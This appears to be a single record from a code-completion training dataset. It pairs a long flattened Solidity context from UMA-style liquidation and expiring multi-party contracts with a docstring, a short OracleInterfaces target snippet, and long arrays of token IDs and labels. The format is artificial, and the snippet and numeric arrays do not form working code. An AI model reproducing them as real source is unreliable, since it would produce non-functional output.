// Return fee-adjusted amount of collateral deleted from position.
return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral));
}
function _pfc() internal virtual override view returns (FixedPoint.Unsigned memory) {
return _getFeeAdjustedCollateral(rawTotalPositionCollateral);
}
function _getPositionData(address sponsor)
internal
view
onlyCollateralizedPosition(sponsor)
returns (PositionData storage)
{
return positions[sponsor];
}
function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
function _getOracle() internal view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getFinancialContractsAdminAddress() internal view returns (address) {
return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin);
}
// Requests a price for `priceIdentifier` at `requestedTime` from the Oracle.
function _requestOraclePrice(uint256 requestedTime) internal {
OracleInterface oracle = _getOracle();
oracle.requestPrice(priceIdentifier, requestedTime);
}
// Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request.
function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) {
// Create an instance of the oracle and get the price. If the price is not resolved revert.
OracleInterface oracle = _getOracle();
require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price");
int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime);
// For now we don't want to deal with negative prices in positions.
if (oraclePrice < 0) {
oraclePrice = 0;
}
return FixedPoint.Unsigned(uint256(oraclePrice));
}
// Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0.
function _resetWithdrawalRequest(PositionData storage positionData) internal {
positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0);
positionData.withdrawalRequestPassTimestamp = 0;
}
// Ensure individual and global consistency when increasing collateral balances. Returns the change to the position.
function _incrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_addCollateral(positionData.rawCollateral, collateralAmount);
return _addCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the
// position. We elect to return the amount that the global collateral is decreased by, rather than the individual
// position's collateral, because we need to maintain the invariant that the global collateral is always
// <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn.
function _decrementCollateralBalances(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position.
// This function is similar to the _decrementCollateralBalances function except this function checks position GCR
// between the decrements. This ensures that collateral removal will not leave the position undercollateralized.
function _decrementCollateralBalancesCheckGCR(
PositionData storage positionData,
FixedPoint.Unsigned memory collateralAmount
) internal returns (FixedPoint.Unsigned memory) {
_removeCollateral(positionData.rawCollateral, collateralAmount);
require(_checkPositionCollateralization(positionData), "CR below GCR");
return _removeCollateral(rawTotalPositionCollateral, collateralAmount);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _onlyOpenState() internal view {
require(contractState == ContractState.Open, "Contract state is not OPEN");
}
function _onlyPreExpiration() internal view {
require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry");
}
function _onlyPostExpiration() internal view {
require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry");
}
function _onlyCollateralizedPosition(address sponsor) internal view {
require(
_getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0),
"Position has no collateral"
);
}
// Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the
// `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral
// or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`.
function _positionHasNoPendingWithdrawal(address sponsor) internal view {
require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal");
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) {
return
_checkCollateralization(
_getFeeAdjustedCollateral(positionData.rawCollateral),
positionData.tokensOutstanding
);
}
// Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global
// collateralization ratio.
function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
view
returns (bool)
{
FixedPoint.Unsigned memory global = _getCollateralizationRatio(
_getFeeAdjustedCollateral(rawTotalPositionCollateral),
totalTokensOutstanding
);
FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens);
return !global.isGreaterThan(thisChange);
}
function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens)
private
pure
returns (FixedPoint.Unsigned memory ratio)
{
if (!numTokens.isGreaterThan(0)) {
return FixedPoint.fromUnscaledUint(0);
} else {
return collateral.div(numTokens);
}
}
}
// File: contracts/financial-templates/expiring-multiparty/Liquidatable.sol
pragma solidity ^0.6.0;
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
*/
contract Liquidatable is PricelessPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, PreDispute, PendingDispute, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address finderAddress;
address tokenFactoryAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPct;
FixedPoint.Unsigned sponsorDisputeRewardPct;
FixedPoint.Unsigned disputerDisputeRewardPct;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPct;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPct;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPct;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(address indexed caller, uint256 withdrawalAmount, Status indexed liquidationStatus);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.syntheticName,
params.syntheticSymbol,
params.tokenFactoryAddress,
params.minSponsorTokens,
params.timerAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1), "CR is more than 100%");
require(
params.sponsorDisputeRewardPct.add(params.disputerDisputeRewardPct).isLessThan(1),
"Rewards are more than 100%"
);
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPct = params.disputeBondPct;
sponsorDisputeRewardPct = params.sponsorDisputeRewardPct;
disputerDisputeRewardPct = params.disputerDisputeRewardPct;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul(
ratio
);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.PreDispute,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPct` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.PendingDispute;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* the sponsor, liquidator, and/or disputer can call this method to receive payments.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* Once all collateral is withdrawn, delete the liquidation data.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return amountWithdrawn the total amount of underlying returned from the liquidation.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory amountWithdrawn)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(msg.sender == liquidation.disputer) ||
(msg.sender == liquidation.liquidator) ||
(msg.sender == liquidation.sponsor),
"Caller cannot withdraw rewards"
);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory tokenRedemptionValue = liquidation
.tokensOutstanding
.mul(liquidation.settlementPrice)
.mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPct.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPct.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPct);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation can withdraw different amounts.
// Once a caller has been paid their address deleted from the struct.
// This prevents them from being paid multiple from times the same liquidation.
FixedPoint.Unsigned memory withdrawalAmount = FixedPoint.fromUnscaledUint(0);
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users can withdraw from the contract.
if (msg.sender == liquidation.disputer) {
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
FixedPoint.Unsigned memory payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
withdrawalAmount = withdrawalAmount.add(payToDisputer);
delete liquidation.disputer;
}
if (msg.sender == liquidation.sponsor) {
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
FixedPoint.Unsigned memory remainingCollateral = collateral.sub(tokenRedemptionValue);
FixedPoint.Unsigned memory payToSponsor = sponsorDisputeReward.add(remainingCollateral);
withdrawalAmount = withdrawalAmount.add(payToSponsor);
delete liquidation.sponsor;
}
if (msg.sender == liquidation.liquidator) {
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePct+disputerDisputePct) >= 0 in
// the constructor when these params are set.
FixedPoint.Unsigned memory payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(
disputerDisputeReward
);
withdrawalAmount = withdrawalAmount.add(payToLiquidator);
delete liquidation.liquidator;
}
// Free up space once all collateral is withdrawn by removing the liquidation object from the array.
if (
liquidation.disputer == address(0) &&
liquidation.sponsor == address(0) &&
liquidation.liquidator == address(0)
) {
delete liquidations[sponsor][liquidationId];
}
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed && msg.sender == liquidation.liquidator) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
withdrawalAmount = collateral.add(disputeBondAmount).add(finalFee);
delete liquidations[sponsor][liquidationId];
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.PreDispute && msg.sender == liquidation.liquidator) {
// Pay LIQUIDATOR: collateral + returned final fee
withdrawalAmount = collateral.add(finalFee);
delete liquidations[sponsor][liquidationId];
}
require(withdrawalAmount.isGreaterThan(0), "Invalid withdrawal amount");
// Decrease the total collateral held in liquidatable by the amount withdrawn.
amountWithdrawn = _removeCollateral(rawLiquidationCollateral, withdrawalAmount);
emit LiquidationWithdrawn(msg.sender, amountWithdrawn.rawValue, liquidation.state);
// Transfer amount withdrawn from this contract to the caller.
collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue);
return amountWithdrawn;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the PendingDispute state. If not, it will immediately return.
// If the liquidation is in the PendingDispute state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == PendingDispute and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.PendingDispute) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(
liquidation.settlementPrice
);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal override view returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.PreDispute),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.PreDispute) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.PreDispute)),
"Liquidation not withdrawable"
);
}
}
// File: contracts/financial-templates/expiring-multiparty/ExpiringMultiParty.sol
pragma solidity ^0.6.0;
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// File: contracts/financial-templates/expiring-multiparty/ExpiringMultiPartyLib.sol
pragma solidity ^0.6.0;
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
} | * @title Stores common interface names used throughout the DVM by registration in the Finder./ | library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
}
}
| 7,794,835 | [
1,
13125,
2975,
1560,
1257,
1399,
3059,
659,
326,
463,
7397,
635,
7914,
316,
326,
19307,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
28544,
10273,
288,
203,
565,
1731,
1578,
1071,
5381,
28544,
273,
315,
23601,
14432,
203,
565,
1731,
1578,
1071,
5381,
10333,
18927,
273,
315,
3004,
18927,
14432,
203,
565,
1731,
1578,
1071,
5381,
4994,
273,
315,
2257,
14432,
203,
565,
1731,
1578,
1071,
5381,
9458,
19292,
649,
20723,
4446,
273,
315,
6187,
19292,
649,
20723,
4446,
14432,
203,
565,
1731,
1578,
1071,
5381,
5438,
273,
315,
4243,
14432,
203,
97,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
